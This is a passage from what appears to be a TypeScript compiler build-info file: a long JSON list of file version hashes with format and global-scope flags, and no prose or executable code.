0c66138429261b8046da0a55","393a4a5c97fec1a2c86e212a7021afe0536bbea84738eb17243c4e746b38099a",{"version":"66a8812295fb0ca97ea3879cba3fe13d48f84113f3feb22f1a303a64b5dc6ed7","impliedFormat":99},{"version":"3266501aefbfc9f9b7511283f482855d95f9f465ad5eadddca39e339a0546edb","impliedFormat":99},{"version":"318c16d64d61d5be9ca0a38ce13312db4e293ac148357b6afce03bf405f9edac","impliedFormat":99},{"version":"6f2efb1f7b7c27200f98539567c881b8327316b38f81451c353c31e45928a548","impliedFormat":99},{"version":"ba506423ddbf900beea105281c440701f9acaea7505c31a04d016ae8fc5e41e0","impliedFormat":99},{"version":"9db2e1c71ffddd760305834c94530fced27088d3447ec3e811ea239ca803f55e","impliedFormat":99},{"version":"8b817fcdd45b58655788892ca6351e7896131e289b0df7922933f820fa6ed756","impliedFormat":99},{"version":"883ade76011838a0b6ab6b40c82e38d173a6d848a7eb489cc3212be2a59b1d6d","impliedFormat":99},{"version":"1621b0860fe19cc9ffaf350bc86391523e937641a204d0f37d4a80bdb84ab65d","impliedFormat":99},{"version":"54991c1e5a5a2824a44a634725c138e1bd5a8e5412790b73279bb9b7479bd329","impliedFormat":99},{"version":"baa1088e7d491b69deeb57c4e2c4b2126f339ba99137f53a1d1ee8bc236eb327","impliedFormat":99},{"version":"742c6f78d372ef361b19b457ff46ede3daef4958667e7d8f3241f565aa18a4e7","impliedFormat":99},{"version":"2c2b865340411724ab1f9a11567abc3711c087ebd140f8b081da49d9a21502a9","impliedFormat":99},{"version":"2992e19fd057d82478288398392b46af68ce23a34ac21f6781266c6afe45279f","impliedFormat":99},{"version":"6b1e04641fc931b991ab9ac3d61072fa4775c03add106fbe0cdff1847c01086f","impliedFormat":99},{"version":"4c6877294b94b439d6bad7f694f2d96abdbda27b06f67a8660beff39f28d9eaf","impliedFormat":99},{"version":"525cf5bdc5150f9589f1d62f222fb5e3ab9375a4654a565e10f04304e93a0791","impliedFormat":99},"2fd810162a927603ae9a4e4c627e70d3ec2ba76eb300aed6841e4eddaa74ac7d","788e0e773c37603787024860640ded19167916873f36a7680145b796d069e413","0817c9d5ebc6559b27fb78942058bd6176fa560dbac271681a7822941700ea5c","2355e424084493e32dd52fb743da228be951b8eb7bcf0dbedba9b6376e70ab7d","883f9d048a9de024bddc04251d7b3d8a061ecbe073b40f986a20d93f0ce7e639","f89999e93a462352a10ac29903dd69db47ebf83cc691b8f56063b236b37f823b","28a38273367f2c63f3c3bc9e0b627f3bb7650f4cf0847855ae4f9528279c3090","2a3b4e21a0112cfdb9b8660b316823fd58ee1935b2fcc64fd100efadd3d87ab0","ff7ae975fbf79e06bd2c6ed427becfbfb106137b18d1387a60eeb6677b55422e","acc7e7555d04f21b3c499225dee119560a22bec908638ecd1ad974e60b0e19f1","6a6e70602d9e1b4e9269cc7ef60d0e85d722f97f8c5d65820ee66566b0260fdd","d61153bc0c6df662c9b0172f8b1231e61dd2132f7a0c4b0db16a7808142f3c1c","76c6a285657667c421c9995c2bd1dc9fb2c95ec154d4fb385110d14ae87146a3","477348137eca0063f7bd581b446513eb90a3b135cfae205d0202678ede9e2212","d76bfa9ad41318945d9bb6396ff7124451211c71458befb874de7db415a787b4","5bf6235f6908b215498a57175db6dc7359b173dd1bf6da90764046500158bbcd","a6e9ce5c348699eb69b46a6de366c13245667798fbb43f09568ebdf02cf02210","e832c30b117c7cb6731972b8812643b9ee662f0cbeb0b8b8878d82ea0e08abfb","d2815ff2b6dd2cfd4d09d66fd04a9d170f2a5f5823903ee232020a769958d90e","df50786114964015f7a36774ba37fac29bbc197f114dcb6df836107344e95795","7fc15095d7a08ea9161f3c8e3c6259307ecc81b9647d17d6ff0a9ea364fc4382","d852a4cf6b36090ff4870e7efa45546af311cbce0b025b62c246e47dc301c192","acc1321e30dd26d2b8d58c26ec69bc734ffede21733c5fa6ceb25b8d601a1df3","5eb9935e219add6a32b6340309b1cb1c328eee0d00ba41b4a01d748c9901baac","b1741c43dd7033e61fdb64ec2bc8832621ee5e6e7515ae277f6abb27d47515b1","28abfcce13aa6bd26ce7d344cc398eaed2e63932b22aefe8ed646c803dc678dd","0078472b4615d92ca6b945ffff9c4a447f74de8c3eaff33f0a422d96be0e70c1","962e7e495c9685690216daabeae52a4884c66764f78a7e55f62dc7d88ae6eacf","014ad51e4a36fefeaa14ca25c09a52b6c4051931855eb0b895ecd20020346ed7","61e191da868fa5bef41048a67fad3424be9c235beb7b7c74982eedc5096deb77","686540f59c99445b8aaa78d2bf9fbed308e4939069c08a3688d34a8c6f41718c","257118b7ba2b4b3c17b1e59d5ea7845ba1f3aadcffa6b6c9165424d4586a0418","335c77341d79dfeac8ca4625c7bd7ead361e3b3f62e7b27ad72998a04b1465e2","6ee1b5f63c33ae38dc745f84b2db92573bf070cb367a5c3fdf0ec42c094a0dc5","927d04b4f520560536b1976fed2089fc6a37e1cb86cee67dea68b8a78c006804","29b7f614de0a33e1b81a0670d9e17558f31f92d387cd0767490bde36ac556d3c","de5c0cd1f0e276b1b2b90b1c621e108af3f61686ab4113fc70c33bec5b04034b","a450716c06e7cecb50a429c436e71fe4469a006592fbb92fcc5b550c19cad2e9","be1e9d6c87ab2eee4d03b72ae9aec01319d2a04b00d961f121c3f2cb66b50f08","81c537a1c1c3856ca751068d1f836593f22aa89e2dfab11d930f2abba8545ff3","bd9ce467af5fd3441894cbc306af7ce425ba5790a32b3d1387320aa34c87ecc5","10b73dade9b943ee25ebd31cc1047c7e4202e3e14861c86eef6c61cbc324341d","2a3afe98e31f36e45532d25d6509da3f8fbc3f76e8e01d8a06fea72a74cfcd3e","7ce597115610a8c9efb1f343af13388f5f7f1169de379896ce40b1aa64ded14c","036136eda8529ed2fa46fe76593cdaebcbee41bd7470ca57e35af1a43fe48726","20fd267cabf137807fad17f125458a9fb4ba221173fb568664f14fa4fd386f93","a15a879fbdea3239ddcedb701d66fdd11e2a46c2a689af912c3856e7135d74da","cfc030d57f77a044fdd4970b707cfb0fb414b36a87b66f1676b3b990e321fcb1","01997d8ac742711b9549aab4f8e79abe78d431a0690396cca545d1a76f6c077d","6cf1e19ab1d866cd7917e6f7b5a37f3ae917fbdf0d30be3ee487280b3f540eda","31119907159595879940bf4f5b157ba5f66a0961b0da68477ec21674026b480c","6385cfc8e9d2871437bd653d8dfe1aab7ee7ba0681093166e64282f2121e8900","4eb61fe05f92e204a1aa22bf30f0257bf54fc4ea9ec3629c6aa9d8133eabeef4","8114cef43b0439b8b87ee936d95c457cc39540ef23014c924131c949cc31a661",{"version":"3a582c6e8906f5b094ccf0de6cc6f4f8a54b05a34f52517aba5c9c7f704f6b28","impliedFormat":99},{"version":"0528f6d21f7a02d4092895090d2dd86104bd5a3e79eced96d5a1a7dd90943d17","impliedFormat":99},{"version":"b5ce343886d23392be9c8280e9f24a87f1d7d3667f6672c2fe4aa61fa4ece7d4","impliedFormat":99},{"version":"72ce5b734c05da85c85a6f6dc05823b051d6aa41acaedeeb1d17c72f3b4efa72","impliedFormat":99},{"version":"b0857bb28fd5236ace84280f79a25093f919fd0eff13e47cc26ea03de60a7294","impliedFormat":99},{"version":"5e43e0824f10cd8c48e7a8c5c673638488925a12c31f0f9e0957965c290eb14c","impliedFormat":99},{"version":"ef13c73d6157a32933c612d476c1524dd674cf5b9a88571d7d6a0d147544d529","impliedFormat":99},{"version":"49ab4f1d153a252779958fc87b700743d32b5ffa42addd70ae23ad3f429daa5c","impliedFormat":99},{"version":"53cf4076f42b29b8d411259d168d51b3a0274c42c8814e5b44dfa8803a35d4fc","impliedFormat":99},{"version":"a39461ee1f27cf3e6cfd63d21045713d26d521da55ea4d8efccb705f689e6dbb","impliedFormat":99},{"version":"61bb64660ee150f3ab618340e15cca0a81664801bede7c966ca0eca3a952fe63","impliedFormat":99},{"version":"3b89216a7e38a454985ad17bb2ff85792837dc812f2a89fa5f60ad0a2e216fa7","impliedFormat":99},{"version":"c911b3bd083dade8fdb7775261aa25feae695d562a3b11209650b47be90043fc","impliedFormat":99},{"version":"de4a612aa8f1704af486f701e21993c786ba7d8cfed55fffa6684026aea2346e","impliedFormat":99},{"version":"4e003c868b0d8f8ad200b96cbc653e18e513fa23e1c19c4fe3cc25d4394efc47","impliedFormat":99},{"version":"d4ec151557b64ff001e06b5878e66eb98640961647b1581fe2a0a1af05f408fb","impliedFormat":99},{"version":"42a12f2faa483c9b48195ed794d22698162274e755f6e07219c2351c4f08d732","impliedFormat":99},{"version":"ec0c42bb0f465e4993f2bc68a6ce9df9a2dcbc7b83e21748f82f1b69561938e3","impliedFormat":99},{"version":"f50ff37a9cbbe74475f426474d9827083c7c2c138a954d28f1690df338f69291","impliedFormat":99},{"version":"61fd6c17235d530c40f543dd7c40afab091d91c1ef890baeed30db6d82b04b28","impliedFormat":99},{"version":"bcbd3becd08b4515225880abea0dbfbbf0d1181ce3af8f18f72f61edbe4febfb","impliedFormat":99},{"version":"091767bc841f937654ed597d49e023ed59850355e746ae1a6f20ab31076ee1fb","impliedFormat":99},{"version":"19c6d6135af59693698d384050b45a8a049493500add442f58e4bd7c8a255ab6","impliedFormat":99},{"version":"6a0dba12d55314638a8c51108b20fe2f68f1364a619d098918bda91c22dec154","impliedFormat":99},{"version":"c76c02846ba7d40b9b3488f0e8d75d02cbdee2f0bc5fcd55dd3bd2e1457646ea","impliedFormat":99},{"version":"4ead13a482c539b77394b2a97e3b877b809eac596390371cea490286f53b996a","impliedFormat":99},{"version":"06db2f8ba1d1dfacf04529cb731081ab23f133f29c7608ebdfbcab356996827c","impliedFormat":99},{"version":"bdd14f07b4eca0b4b5203b85b8dbc4d084c749fa590bee5ea613e1641dcd3b29","impliedFormat":99},{"version":"427fe2004642504828c1476d0af4270e6ad4db6de78c0b5da3e4c5ca95052a99","impliedFormat":1},{"version":"2eeffcee5c1661ddca53353929558037b8cf305ffb86a803512982f99bcab50d","impliedFormat":99},{"version":"9afb4cb864d297e4092a79ee2871b5d3143ea14153f62ef0bb04ede25f432030","affectsGlobalScope":true,"impliedFormat":99},{"version":"5c935b7fc4ddc1410ea1cd7cd4e35ed106a6e4920dd27a9480a40fd224359dc3","affectsGlobalScope":true,"impliedFormat":99},{"version":"2b39c6cf59088713babbfc3e20ee85f1375d40e66953156fa658346b8346f24f","impliedFormat":99},{"version":"69bf2422313487956e4dacf049f30cb91b34968912058d244cb19e4baa24da97","impliedFormat":99},{"version":"6987dfb4b0c4e02112cc4e548e7a77b3d9ddfeffa8c8a2db13ceac361a4567d9","impliedFormat":99},{"version":"4ffba3c5848b4fe62ee59b754fd5f256ad9656a0db6d37b9a2a8cb40dfc7ac21","impliedFormat":99},{"version":"c76c02846ba7d40b9b3488f0e8d75d02cbdee2f0bc5fcd55dd3bd2e1457646ea","impliedFormat":99},{"version":"5e2ba3d18d78aebbde1f34bde356e41e9c76eeaeaeee56a37036596a9eff4211","impliedFormat":99},{"version":"8280ae8ccc0493b32d1742d585357ab9f0a508ea050af25a5a20d64010d0a5cf","impliedFormat":99},{"version":"7adfd9f9056ecd4ae6c65fde2a98654960c662714c73f048478959d04c09e144","impliedFormat":99},{"version":"32b35cf0dc3a1b1a7118b61c34ce2ad1a29695851679f9ec34e0776f2ece2a69","impliedFormat":99},{"version":"b413fbc6658fe2774f8bf9a15cf4c53e586fc38a2d5256b3b9647da242c14389","impliedFormat":99},{"version":"59e5e964b84fdb2378e9455e4e59405030e4ed2b4c6f891ce395f17796af3cbb","impliedFormat":99},{"version":"c30a41267fc04c6518b17e55dcb2b810f267af4314b0b6d7df1c33a76ce1b330","impliedFormat":1},{"version":"72422d0bac4076912385d0c10911b82e4694fc106e2d70added091f88f0824ba","impliedFormat":1},{"version":"da251b82c25bee1d93f9fd80c5a61d945da4f708ca21285541d7aff83ecb8200","impliedFormat":1},{"version":"64db14db2bf37ac089766fdb3c7e1160fabc10e9929bc2deeede7237e4419fc8","impliedFormat":1},{"version":"98b94085c9f78eba36d3d2314affe973e8994f99864b8708122750788825c771","impliedFormat":1},{"version":"90ba95a763101bb61b8a799731a2ed60b5016b8135c1a2d5186862d4b534d4a1","impliedFormat":99},"49c8c540d6170212d83585809f7b64dacf7c92e45404fc2ff5e56d0c9ff85c78","2eaf24de98742d25bae39eb2cd70d337548061af2da0bed6d001da749460e508",{"version":"bc03c3c352f689e38c0ddd50c39b1e65d59273991bfc8858a9e3c0ebb79c023b","impliedFormat":1},{"version":"19df3488557c2fc9b4d8f0bac0fd20fb59aa19dec67c81f93813951a81a867f8","affectsGlobalScope":true,"impliedFormat":1},{"version":"b25350193e103ae90423c5418ddb0ad1168dc9c393c9295ef34980b990030617","affectsGlobalScope":true,"impliedFormat":1},{"version":"e6cfcf171b5f7ec0cb620eee4669739ad2711597d0ff7fdb79298dfc1118e66a","impliedFormat":1},{"version":"5d8157b38d0490e4d83f570ee7fe99407d13847bdee9cd28e9b037dd75f2bea5","impliedFormat":99},{"version":"685a0b1c3f0dbbd6c05c8d16ba20072007fdda73f9b740e00059b02522c3bfdb","impliedFormat":99},"216893b4b2a5a675c799d022cfe9e24b8b280ef9afeaffb1a1bd8b7b044e13ad","b094546ec22b73a297e28409e2291ef3edc3d4ba360b56a7188527536d99e6ab","db23eb74641a13b00e069088dd7cdf4c48609f3fe4f58a2030cb5e12779bcd7f","d34cd6b0ed1de2a984fdd7c3c00e1650099da8979f697abc16349efca3f1393d","8eace6f796fecc3abeac822e10dec860d64c5803d007db4216397567d7a45a5e",{"version":"ed50aaad0f0648e7775213e9afe37b3ff194b88c63fa6fce1c38a7a8a1e3fbd8","impliedFormat":1},"8ae66b5da13f6f3469fd1cba6cad2d165021ed44f306a589ffc7f79b125c5087","83799cc982d5167cc7000176c5a7ec8a6e6849856131e334311e9fcb7a5ed74e","2c83f3d9df97d0b90a0cdb20796a041049bf5cde1500d3e7c6442fb28fa0b1c5",{"version":"8697e933a9bcc454aa7689d6ca27dc13d640267dc67bbd45efbd021b71b4d0d7","impliedFormat":1},"c77ca9f1a00e67c16b48ae94e6ea13fb631bc2d516695cd620f3a326ddfc5c7a","ef0f03d2e8ae59f77e4b1a1bf46f82a29aa8b9203ad3fae478a3c0c4193c2eb7","3b317c3392618e4bd4c7353cf9a975b01b781c8419a1a1811b9612cdf415b899","ea214c41e38e3079689dac726f5327855b8c85ca8bb167e524be878ea2e6ec8d",{"version":"406ed287e8cfb172a5161376779fbbc348a883917f2b49112d15e505f000f447","impliedFormat":99},{"version":"bc3ad0afa4ac2957e503407d84eb87165320c7bc44ef4bbbea65ada3ed80b40b","impliedFormat":99},{"version":"6a9ba695d6f2a7ab901b9802fdb7190175a0aa379de41adfd18c823deaa8258c","impliedFormat":99},"82554b19b372a351269adf191ec2c7303662c3b958bc87a5957eb29504f081a7",{"version":"c57b441e0c0a9cbdfa7d850dae1f8a387d6f81cbffbc3cd0465d530084c2417d","impliedFormat":99},{"version":"ff4bfe3c147eadc1b722a8ac9e4d350e66411b5c9022eabe5f4ada871c9adc41","impliedFormat":1},"9304a861c8673bee09e0f12de31773abbde503b02e59dfd74763ddec2e37cf05","bc0d88a77ce1689f540e5866189ef624240a65ccf8675bc26a18d113a57fd0c6","6edd83a29ad39a7b565ac3e9f5c3571b9a6eab487d5d15490cbff01c71dc5551","c581ccc0ab212e95272cfe95b269a6d2bab85dcb84aff0292f7ce1546d6c3391",{"version":"89121c1bf2990f5219bfd802a3e7fc557de447c62058d6af68d6b6348d64499a","impliedFormat":1},{"version":"79b4369233a12c6fa4a07301ecb7085802c98f3a77cf9ab97eee27e1656f82e6","impliedFormat":1},{"version":"2b37ba54ec067598bf912d56fcb81f6d8ad86a045c757e79440bdef97b52fe1b","impliedFormat":99},{"version":"1bc9dd465634109668661f998485a32da369755d9f32b5a55ed64a525566c94b","impliedFormat":99},{"version":"5702b3c2f5d248290ed99419d77ca1cc3e6c29db5847172377659c50e6303768","impliedFormat":99},{"version":"9764b2eb5b4fc0b8951468fb3dbd6cd922d7752343ef5fbf1a7cd3dfcd54a75e","impliedFormat":99},{"version":"1fc2d3fe8f31c52c802c4dee6c0157c5a1d1f6be44ece83c49174e316cf931ad","impliedFormat":99},{"version":"dc4aae103a0c812121d9db1f7a5ea98231801ed405bf577d1c9c46a893177e36","impliedFormat":99},{"version":"106d3f40907ba68d2ad8ce143a68358bad476e1cc4a5c710c11c7dbaac878308","impliedFormat":99},{"version":"42ad582d92b058b88570d5be95393cf0a6c09a29ba9aa44609465b41d39d2534","impliedFormat":99},{"version":"36e051a1e0d2f2a808dbb164d846be09b5d98e8b782b37922a3b75f57ee66698","impliedFormat":99},{"version":"d4a22007b481fe2a2e6bfd3a42c00cd62d41edb36d30fc4697df2692e9891fc8","impliedFormat":1},{"version":"9d62e577adb05f5aafed137e747b3a1b26f8dce7b20f350d22f6fb3255a3c0ed","impliedFormat":99},{"version":"7ed92bcef308af6e3925b3b61c83ad6157a03ff15c7412cf325f24042fe5d363","impliedFormat":99},{"version":"3da9062d0c762c002b7ab88187d72e1978c0224db61832221edc8f4eb0b54414","impliedFormat":99},{"version":"84dbf6af43b0b5ad42c01e332fddf4c690038248140d7c4ccb74a424e9226d4d","impliedFormat":99},{"version":"00884fc0ea3731a9ffecffcde8b32e181b20e1039977a8ae93ae5bce3ab3d245","impliedFormat":99},{"version":"0bd8b6493d9bf244afe133ccb52d32d293de8d08d15437cca2089beed5f5a6b5","impliedFormat":99},{"version":"7fc3099c95752c6e7b0ea215915464c7203e835fcd6878210f2ce4f0dcbbfe67","impliedFormat":99},{"version":"83b5499dbc74ee1add93aef162f7d44b769dcef3a74afb5f80c70f9a5ce77cc0","impliedFormat":99},{"version":"8bf8b772b38fc4da471248320f49a2219c363a9669938c720e0e0a5a2531eabf","impliedFormat":99},{"version":"7da6e8c98eacf084c961e039255f7ebb9d97a43377e7eee2695cb77fec640c66","impliedFormat":99},{"version":"0b5b064c5145a48cd3e2a5d9528c63f49bac55aa4bc5f5b4e68a160066401375","impliedFormat":99},{"version":"702ff40d28906c05d9d60b23e646c2577ad1cc7cd177d5c0791255a2eab13c07","impliedFormat":99},{"version":"49ff0f30d6e757d865ae0b422103f42737234e624815eee2b7f523240aa0c8f8","impliedFormat":99},{"version":"0389aacf0ffd49a877a46814a21a4770f33fc33e99951a1584de866c8e971993","impliedFormat":99},{"version":"5cb7a51cf151c1056b61f078cf80b811e19787d1f29a33a2a6e4bf00334bbc10","impliedFormat":99},{"version":"215aa8915d707f97ad511b7abbf7eda51d3a7048e9a656955cf0dda767ae7db0","impliedFormat":99},{"version":"0d689a717fbef83da07ab4de33f83db5cbcec9bc4e3b04edb106c538a50a0210","impliedFormat":99},{"version":"d00bc73e8d1f4137f2f6238bb3aa2bbdad8573658cc95920e2cdfa7ad491a8d8","impliedFormat":99},{"version":"e3667aa9f5245d1a99fb4a2a1ac48daf1429040c29cc0d262e3843f9ae3b9d65","impliedFormat":99},{"version":"08c0f3222b50ec2b534be1a59392660102549129246425d33ec43f35aa051dc6","impliedFormat":99},{"version":"612fb780f312e6bb3c40f3cb2b827ea7455b922198f651c799d844fdd44cf2e9","impliedFormat":99},{"version":"bcd98e8f44bc76e4fcb41e4b1a8bab648161a942653a3d1f261775a891d258de","impliedFormat":99},{"version":"5abaa19aa91bb4f63ea58154ada5d021e33b1f39aa026ca56eb95f13b12c497a","impliedFormat":99},{"version":"356a18b0c50f297fee148f4a2c64b0affd352cbd6f21c7b6bfa569d30622c693","impliedFormat":99},{"version":"5876027679fd5257b92eb55d62efee634358012b9f25c5711ad02b918e52c837","impliedFormat":99},{"version":"f5622423ee5642dcf2b92d71b37967b458e8df3cf90b468675ff9fddaa532a0f","impliedFormat":99},{"version":"70265bc75baf24ec0d61f12517b91ea711732b9c349fceef71a446c4ff4a247a","impliedFormat":99},{"version":"41a4b2454b2d3a13b4fc4ec57d6a0a639127369f87da8f28037943019705d619","impliedFormat":99},{"version":"e9b82ac7186490d18dffaafda695f5d975dfee549096c0bf883387a8b6c3ab5a","impliedFormat":99},{"version":"eed9b5f5a6998abe0b408db4b8847a46eb401c9924ddc5b24b1cede3ebf4ee8c","impliedFormat":99},{"version":"af85fde8986fdad68e96e871ae2d5278adaf2922d9879043b9313b18fae920b1","impliedFormat":99},{"version":"8a1f5d2f7cf4bf851cc9baae82056c3316d3c6d29561df28aff525556095554b","impliedFormat":99},{"version":"a5dbd4c9941b614526619bad31047ddd5f504ec4cdad88d6117b549faef34dd3","impliedFormat":99},{"version":"e87873f06fa094e76ac439c7756b264f3c76a41deb8bc7d39c1d30e0f03ef547","impliedFormat":99},{"version":"488861dc4f870c77c2f2f72c1f27a63fa2e81106f308e3fc345581938928f925","impliedFormat":99},{"version":"eff73acfacda1d3e62bb3cb5bc7200bb0257ea0c8857ce45b3fee5bfec38ad12","impliedFormat":99},{"version":"aff4ac6e11917a051b91edbb9a18735fe56bcfd8b1802ea9dbfb394ad8f6ce8e","impliedFormat":99},{"version":"1f68aed2648740ac69c6634c112fcaae4252fbae11379d6eabee09c0fbf00286","impliedFormat":99},{"version":"5e7c2eff249b4a86fb31e6b15e4353c3ddd5c8aefc253f4c3e4d9caeb4a739d4","impliedFormat":99},{"version":"14c8d1819e24a0ccb0aa64f85c61a6436c403eaf44c0e733cdaf1780fed5ec9f","impliedFormat":99},{"version":"d36518bd617ff673c7d9f372706f241932a43f27673187f2a8472e93c40041c6","impliedFormat":99},{"version":"f8eb2909590ec619643841ead2fc4b4b183fbd859848ef051295d35fef9d8469","impliedFormat":99},{"version":"fe784567dd721417e2c4c7c1d7306f4b8611a4f232f5b7ce734382cf34b417d2","impliedFormat":99},{"version":"45d1e8fb4fd3e265b15f5a77866a8e21870eae4c69c473c33289a4b971e93704","impliedFormat":99},{"version":"cd40919f70c875ca07ecc5431cc740e366c008bcbe08ba14b8c78353fb4680df","impliedFormat":99},{"version":"ddfd9196f1f83997873bbe958ce99123f11b062f8309fc09d9c9667b2c284391","impliedFormat":99},{"version":"2999ba314a310f6a333199848166d008d088c6e36d090cbdcc69db67d8ae3154","impliedFormat":99},{"version":"62c1e573cd595d3204dfc02b96eba623020b181d2aa3ce6a33e030bc83bebb41","impliedFormat":99},{"version":"ca1616999d6ded0160fea978088a57df492b6c3f8c457a5879837a7e68d69033","impliedFormat":99},{"version":"835e3d95251bbc48918bb874768c13b8986b87ea60471ad8eceb6e38ddd8845e","impliedFormat":99},{"version":"de54e18f04dbcc892a4b4241b9e4c233cfce9be02ac5f43a631bbc25f479cd84","impliedFormat":99},{"version":"453fb9934e71eb8b52347e581b36c01d7751121a75a5cd1a96e3237e3fd9fc7e","impliedFormat":99},{"version":"bc1a1d0eba489e3eb5c2a4aa8cd986c700692b07a76a60b73a3c31e52c7ef983","impliedFormat":99},{"version":"4098e612efd242b5e203c5c0b9afbf7473209905ab2830598be5c7b3942643d0","impliedFormat":99},{"version":"28410cfb9a798bd7d0327fbf0afd4c4038799b1d6a3f86116dc972e31156b6d2","impliedFormat":99},{"version":"514ae9be6724e2164eb38f2a903ef56cf1d0e6ddb62d0d40f155f32d1317c116","impliedFormat":99},{"version":"970e5e94a9071fd5b5c41e2710c0ef7d73e7f7732911681592669e3f7bd06308","impliedFormat":99},{"version":"491fb8b0e0aef777cec1339cb8f5a1a599ed4973ee22a2f02812dd0f48bd78c1","impliedFormat":99},{"version":"6acf0b3018881977d2cfe4382ac3e3db7e103904c4b634be908f1ade06eb302d","impliedFormat":99},{"version":"2dbb2e03b4b7f6524ad5683e7b5aa2e6aef9c83cab1678afd8467fde6d5a3a92","impliedFormat":99},{"version":"135b12824cd5e495ea0a8f7e29aba52e1adb4581bb1e279fb179304ba60c0a44","impliedFormat":99},{"version":"e4c784392051f4bbb80304d3a909da18c98bc58b093456a09b3e3a1b7b10937f","impliedFormat":99},{"version":"2e87c3480512f057f2e7f44f6498b7e3677196e84e0884618fc9e8b6d6228bed","impliedFormat":99},{"version":"66984309d771b6b085e3369227077da237b40e798570f0a2ddbfea383db39812","impliedFormat":99},{"version":"e41be8943835ad083a4f8a558bd2a89b7fe39619ed99f1880187c75e231d033e","impliedFormat":99},{"version":"260558fff7344e4985cfc78472ae58cbc2487e406d23c1ddaf4d484618ce4cfd","impliedFormat":99},{"version":"413d50bc66826f899c842524e5f50f42d45c8cb3b26fd478a62f26ac8da3d90e","impliedFormat":99},{"version":"d9083e10a491b6f8291c7265555ba0e9d599d1f76282812c399ab7639019f365","impliedFormat":99},{"version":"09de774ebab62974edad71cb3c7c6fa786a3fda2644e6473392bd4b600a9c79c","impliedFormat":99},{"version":"e8bcc823792be321f581fcdd8d0f2639d417894e67604d884c38b699284a1a2a","impliedFormat":99},{"version":"7c99839c518dcf5ab8a741a97c190f0703c0a71e30c6d44f0b7921b0deec9f67","impliedFormat":99},{"version":"44c14e4da99cd71f9fe4e415756585cec74b9e7dc47478a837d5bedfb7db1e04","impliedFormat":99},{"version":"1f46ee2b76d9ae1159deb43d14279d04bcebcb9b75de4012b14b1f7486e36f82","impliedFormat":99},{"version":"2838028b54b421306639f4419606306b940a5c5fcc5bc485954cbb0ab84d90f4","impliedFormat":99},{"version":"7116e0399952e03afe9749a77ceaca29b0e1950989375066a9ddc9cb0b7dd252","impliedFormat":99},"46bc0bb87f2cd6bbf9c6746656b0278e737403e1f8c3f84c1dd69df9bd3f7c2f","6146e67fadaf6cee2415c7d623932bc26b27becc86303bad0265961f0507341e","79f28547aa2dfb53d8799627ad359fca2320540a12c280e319e4b46de27f162a","689b17a40ae4877d742ee7476ac9d0a37cee55e45b2dfec32dd7680c137e4dbd","7492b96a0274b532c57bfd6703876b65ac38b5e5fe080be42361cab5d7df0354","b495f594a3e95cd659f5718812dfac5a1c2b1ffa9e0d82b6c959c2213644d05d","c04d8c147300d16c80524d50e731ea6d0996627139e4e63fab3a4ef918e2ddb5","8d1f0b1fb8496665f5ad71d949894e01ccab44617aa1673c7fa5b044c065b847","853eb0bed0a29206effecee1a34e6e28e66234a0aa1eb2600dd740be31fe8467",{"version":"b1d406c2a2a20858a7c052b5c5d720d05a47b3eb0786a385fd4ea8f0d7b7c29b","impliedFormat":99},{"version":"2fbe402f0ee5aa8ab55367f88030f79d46211c0a0f342becaa9f648bf8534e9d","impliedFormat":1},{"version":"b94258ef37e67474ac5522e9c519489a55dcb3d4a8f645e335fc68ea2215fe88","impliedFormat":1},"7867c4ffd18e4414032a475019bd1d8c614641997499fc60f571c6cbf30aa896","bc4d5b5c52f4a368418bdaa28427716853c69bba387888f75f08d2a1e7fb4f51","170c9684f1d75fd673042837fd781fd35856855f2134f044ae4adf8e8cec0639","2df7d81462acca01cdb1d00e060acda5e1f76b25c44178ce42200cfc1a55ced5",{"version":"caf4af98bf464ad3e10c46cf7d340556f89197aab0f87f032c7b84eb8ddb24d9","impliedFormat":99},{"version":"71acd198e19fa38447a3cbc5c33f2f5a719d933fccf314aaff0e8b0593271324","impliedFormat":99},"b40d580e781b212825cbb4085216443c9a71c9c48094a47fcb28e8870a59d956",{"version":"be1cc4d94ea60cbe567bc29ed479d42587bf1e6cba490f123d329976b0fe4ee5","impliedFormat":1},{"version":"6c7176368037af28cb72f2392010fa1cef295d6d6744bca8cfb54985f3a18c3e","affectsGlobalScope":true,"impliedFormat":1},{"version":"ab41ef1f2cdafb8df48be20cd969d875602483859dc194e9c97c8a576892c052","affectsGlobalScope":true,"impliedFormat":1},{"version":"437e20f2ba32abaeb7985e0afe0002de1917bc74e949ba585e49feba65da6ca1","affectsGlobalScope":true,"impliedFormat":1},{"version":"21d819c173c0cf7cc3ce57c3276e77fd9a8a01d35a06ad87158781515c9a438a","impliedFormat":1},{"version":"98cffbf06d6bab333473c70a893770dbe990783904002c4f1a960447b4b53dca","affectsGlobalScope":true,"impliedFormat":1},{"version":"3af97acf03cc97de58a3a4bc91f8f616408099bc4233f6d0852e72a8ffb91ac9","affectsGlobalScope":true,"impliedFormat":1},{"version":"808069bba06b6768b62fd22429b53362e7af342da4a236ed2d2e1c89fcca3b4a","affectsGlobalScope":true,"impliedFormat":1},{"version":"1db0b7dca579049ca4193d034d835f6bfe73096c73663e5ef9a0b5779939f3d0","affectsGlobalScope":true,"impliedFormat":1},{"version":"9798340ffb0d067d69b1ae5b32faa17ab31b82466a3fc00d8f2f2df0c8554aaa","affectsGlobalScope":true,"impliedFormat":1},{"version":"f26b11d8d8e4b8028f1c7d618b22274c892e4b0ef5b3678a8ccbad85419aef43","affectsGlobalScope":true,"impliedFormat":1},{"version":"8e9c23ba78aabc2e0a27033f18737a6df754067731e69dc5f52823957d60a4b6","impliedFormat":1},{"version":"5929864ce17fba74232584d90cb721a89b7ad277220627cc97054ba15a98ea8f","impliedFormat":1},{"version":"763fe0f42b3d79b440a9b6e51e9ba3f3f91352469c1e4b3b67bfa4ff6352f3f4","impliedFormat":1},{"version":"25c8056edf4314820382a5fdb4bb7816999acdcb929c8f75e3f39473b87e85bc","impliedFormat":1},{"version":"c464d66b20788266e5353b48dc4aa6bc0dc4a707276df1e7152ab0c9ae21fad8","impliedFormat":1},{"version":"78d0d27c130d35c60b5e5566c9f1e5be77caf39804636bc1a40133919a949f21","impliedFormat":1},{"version":"c6fd2c5a395f2432786c9cb8deb870b9b0e8ff7e22c029954fabdd692bff6195","impliedFormat":1},{"version":"1d6e127068ea8e104a912e42fc0a110e2aa5a66a356a917a163e8cf9a65e4a75","impliedFormat":1},{"version":"5ded6427296cdf3b9542de4471d2aa8d3983671d4cac0f4bf9c637208d1ced43","impliedFormat":1},{"version":"7f182617db458e98fc18dfb272d40aa2fff3a353c44a89b2c0ccb3937709bfb5","impliedFormat":1},{"version":"cadc8aced301244057c4e7e73fbcae534b0f5b12a37b150d80e5a45aa4bebcbd","impliedFormat":1},{"version":"385aab901643aa54e1c36f5ef3107913b10d1b5bb8c